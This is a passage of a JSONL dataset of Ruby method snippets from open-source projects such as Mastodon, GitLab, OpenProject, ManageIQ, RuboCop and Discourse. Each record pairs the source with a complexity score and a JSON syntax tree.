\"rtlcss\"\n        [Rtlcss.flip_css(result), nil]\n      else\n        [result, source_map]\n      end\n    end","complexity_score":37.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"compile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stylesheet\"]},{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_map_file\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_map_file\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"sub\",{\"type\":\"str\",\"children\":[\".scss\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"str\",\"children\":[\".css.map\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"load_paths\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASSET_ROOT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"load_paths\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"load_paths\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"load_paths\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"silence_deprecations\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"color-functions\"]},{\"type\":\"str\",\"children\":[\"import\"]},{\"type\":\"str\",\"children\":[\"global-builtin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fatal_deprecations\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"strict_deprecations\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fatal_deprecations\"]},\"<<\",{\"type\":\"str\",\"children\":[\"mixed-decls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"silence_deprecations\"]},\"<<\",{\"type\":\"str\",\"children\":[\"mixed-decls\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"engine\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SassC\"]},\"Engine\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"stylesheet\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"sym\",\"children\":[\"compressed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_map_file\"]},{\"type\":\"lvar\",\"children\":[\"source_map_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_map_contents\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"load_paths\"]},{\"type\":\"lvar\",\"children\":[\"load_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"silence_deprecations\"]},{\"type\":\"lvar\",\"children\":[\"silence_deprecations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fatal_deprecations\"]},{\"type\":\"lvar\",\"children\":[\"fatal_deprecations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quiet\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QUIET_SASS_DEPRECATIONS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"render\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source_map\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"source_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_map\"]},\"force_encoding\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\"]},{\"type\":\"lvasgn\",\"children\":[\"source_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssetProcessor\"]},\"new\"]},\"post_css\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"map\"]},{\"type\":\"lvar\",\"children\":[\"source_map\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_map_file\"]},{\"type\":\"lvar\",\"children\":[\"source_map_file\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rtl\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"rtlcss\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rtlcss\"]},\"flip_css\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"source_map\"]}]}]}]}]}","id":"2156071f-55ca-4b45-8db8-2889ecfe1d12"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/reject_quote_request_serializer.rb","start_line":16,"raw_source":"def actor\n    ActivityPub::TagManager.instance.uri_for(object.quoted_account)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"actor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"uri_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"quoted_account\"]}]}]}","id":"77a599fe-af99-4476-8c25-4d1e14514e51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/button_helper_spec.rb","start_line":78,"raw_source":"def element\n      element = helper.ssh_clone_button(project)\n\n      Nokogiri::HTML::DocumentFragment.parse(element).first_element_child\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"element\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"ssh_clone_button\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"DocumentFragment\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"element\"]}]},\"first_element_child\"]}]}]}","id":"ae529e4a-e9c0-46bc-9573-b0e5adb7de53"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/scm/adapters/git.rb","start_line":484,"raw_source":"def popen3(args, opt = {})\n          opt = opt.merge(chdir: checkout_path) if checkout?\n          cmd = build_git_cmd(args)\n          super(cmd, opt) do |_stdin, stdout, stderr, wait_thr|\n            yield(stdout)\n\n            process = wait_thr.value\n            if process.exitstatus != 0\n              raise Exceptions::CommandFailed.new(\n                \"git\",\n                %{\n                  `git #{args.join(' ')}` exited with non-zero status:\n                  #{process.exitstatus} (#{stderr.read})\n                }.squish\n              )\n            end\n          end\n        end","complexity_score":28.1,"ast_json":"{\"type\":\"def\",\"children\":[\"popen3\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"optarg\",\"children\":[\"opt\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout?\"]},{\"type\":\"lvasgn\",\"children\":[\"opt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chdir\"]},{\"type\":\"send\",\"children\":[null,\"checkout_path\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[null,\"build_git_cmd\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},{\"type\":\"lvar\",\"children\":[\"opt\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_stdin\"]},{\"type\":\"arg\",\"children\":[\"stdout\"]},{\"type\":\"arg\",\"children\":[\"stderr\"]},{\"type\":\"arg\",\"children\":[\"wait_thr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stdout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wait_thr\"]},\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"exitstatus\"]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exceptions\"]},\"CommandFailed\"]},\"new\",{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"                  `git \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"str\",\"children\":[\"` exited with non-zero status:\\n\"]},{\"type\":\"str\",\"children\":[\"                  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"exitstatus\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stderr\"]},\"read\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"                \"]}]},\"squish\"]}]}]},null]}]}]}]}]}","id":"16bb1014-77e3-4054-bf36-849a92ee30f0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/persistent_volume.rb","start_line":20,"raw_source":"def storage_capacity\n    capacity[:storage]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_capacity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capacity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]}","id":"a8af7cd6-fab8-4ad8-8a16-1493b759200b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan.rb","start_line":282,"raw_source":"def call_abort_retry(*args)\n    message, _status, skip_retry = args\n    if message.to_s.include?(\"Could not find VM: [\") && options[:scan_count].to_i.zero?\n      # We may need to skip calling the retry if this method is called twice.\n      return if skip_retry == true\n\n      options[:scan_count] = options[:scan_count].to_i + 1\n      EmsRefresh.refresh(vm)\n      vm.reload\n      _log.info(\"Retrying VM scan for [#{vm.name}] due to error [#{message}]\")\n      signal(:scan_retry)\n    else\n      signal(:abort, *args[0, 2])\n    end\n  end","complexity_score":39.93,"ast_json":"{\"type\":\"def\",\"children\":[\"call_abort_retry\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\"]},{\"type\":\"lvasgn\",\"children\":[\"_status\"]},{\"type\":\"lvasgn\",\"children\":[\"skip_retry\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"to_s\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Could not find VM: [\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scan_count\"]}]},\"to_i\"]},\"zero?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_retry\"]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"scan_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scan_count\"]}]},\"to_i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmsRefresh\"]},\"refresh\",{\"type\":\"send\",\"children\":[null,\"vm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"reload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrying VM scan for [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vm\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"] due to error [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"signal\",{\"type\":\"sym\",\"children\":[\"scan_retry\"]}]}]},{\"type\":\"send\",\"children\":[null,\"signal\",{\"type\":\"sym\",\"children\":[\"abort\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]}","id":"d77b01eb-01d2-4a7e-b6d0-b12c2097feb4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20211213040746_update_account_summaries_to_version_2.rb","start_line":12,"raw_source":"def down\n    reapplication_follow_recommendations_v2 do\n      drop_view :account_summaries, materialized: true\n      create_view :account_summaries, version: 1, materialized: true\n      safety_assured { add_index :account_summaries, :account_id, unique: true }\n    end\n  end","complexity_score":8.45,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reapplication_follow_recommendations_v2\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_view\",{\"type\":\"sym\",\"children\":[\"account_summaries\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialized\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_view\",{\"type\":\"sym\",\"children\":[\"account_summaries\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialized\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"account_summaries\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"98433e81-743c-4d10-bbb9-649a8952cd3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/resolver.rb","start_line":29,"raw_source":"def resolve\n          address = ip_address || ip_address_from_hosts_file ||\n            ip_address_from_dns\n\n          unless address\n            raise UnresolvableNameserverError,\n              \"could not resolve #{@nameserver}\"\n          end\n\n          address\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"address\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_address\"]},{\"type\":\"send\",\"children\":[null,\"ip_address_from_hosts_file\"]}]},{\"type\":\"send\",\"children\":[null,\"ip_address_from_dns\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnresolvableNameserverError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"could not resolve \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@nameserver\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}","id":"bb2d5042-d8f0-42da-8452-928ef4ae34fc"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/my/backup_codes_controller.rb","start_line":20,"raw_source":"def create\n        flash[:_backup_codes] = TwoFactorAuthentication::BackupCode.regenerate!(current_user)\n        redirect_to action: :show\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"_backup_codes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TwoFactorAuthentication\"]},\"BackupCode\"]},\"regenerate!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]}]}]}]}]}","id":"c51c713f-d6f3-47bd-a032-7550e2324b26"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/migration/department_name.rb","start_line":63,"raw_source":"def valid_content_token?(content_token)\n          /\\W+/.match?(content_token) ||\n            DISABLING_COPS_CONTENT_TOKEN.match?(content_token) ||\n            Registry.global.department?(content_token)\n        end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_content_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content_token\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W+\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"content_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DISABLING_COPS_CONTENT_TOKEN\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"content_token\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"global\"]},\"department?\",{\"type\":\"lvar\",\"children\":[\"content_token\"]}]}]}]}","id":"ba8dc5fb-fbf9-438a-b74d-5bf4bcd79e17"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_current_directory_in_path.rb","start_line":42,"raw_source":"def redundant_path_length(path)\n          return unless (match = path&.match(REDUNDANT_CURRENT_DIRECTORY_PREFIX))\n\n          match[0].length\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redundant_path_length\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"match\",{\"type\":\"const\",\"children\":[null,\"REDUNDANT_CURRENT_DIRECTORY_PREFIX\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"length\"]}]}]}","id":"d82ce7cd-8628-4892-a75c-20e2be463ce1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user_preference.rb","start_line":94,"raw_source":"def time_display_formats\n      {\n        s_('Time Display|System') => TIME_DISPLAY_FORMATS[:system],\n        s_('Time Display|12-hour: 2:34 PM') => TIME_DISPLAY_FORMATS[:non_iso_format],\n        s_('Time Display|24-hour: 14:34') => TIME_DISPLAY_FORMATS[:iso_format]\n      }\n    end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"time_display_formats\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Time Display|System\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_DISPLAY_FORMATS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"system\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Time Display|12-hour: 2:34 PM\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_DISPLAY_FORMATS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"non_iso_format\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Time Display|24-hour: 14:34\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIME_DISPLAY_FORMATS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iso_format\"]}]}]}]}]}","id":"7b5df538-2a5b-42f8-952f-92aa86457d4f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/jobs/regular/create_ai_chat_reply.rb","start_line":7,"raw_source":"def execute(args)\n      channel = ::Chat::Channel.find_by(id: args[:channel_id])\n      return if channel.blank?\n\n      message = ::Chat::Message.find_by(id: args[:message_id])\n      return if message.blank?\n\n      personaClass =\n        DiscourseAi::Personas::Persona.find_by(id: args[:persona_id], user: message.user)\n      return if personaClass.blank?\n\n      user = User.find_by(id: personaClass.user_id)\n      bot = DiscourseAi::Personas::Bot.as(user, persona: personaClass.new)\n\n      DiscourseAi::AiBot::Playground.new(bot).reply_to_chat_message(\n        message,\n        channel,\n        args[:context_post_ids],\n      )\n    end","complexity_score":26.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"Channel\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"Message\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message_id\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"personaClass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Persona\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"persona_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"user\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personaClass\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personaClass\"]},\"user_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bot\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Personas\"]},\"Bot\"]},\"as\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"persona\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personaClass\"]},\"new\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"AiBot\"]},\"Playground\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bot\"]}]},\"reply_to_chat_message\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"context_post_ids\"]}]}]}]}]}","id":"e9190c33-e0b6-4c2d-8bb2-561cbb57f45d"}
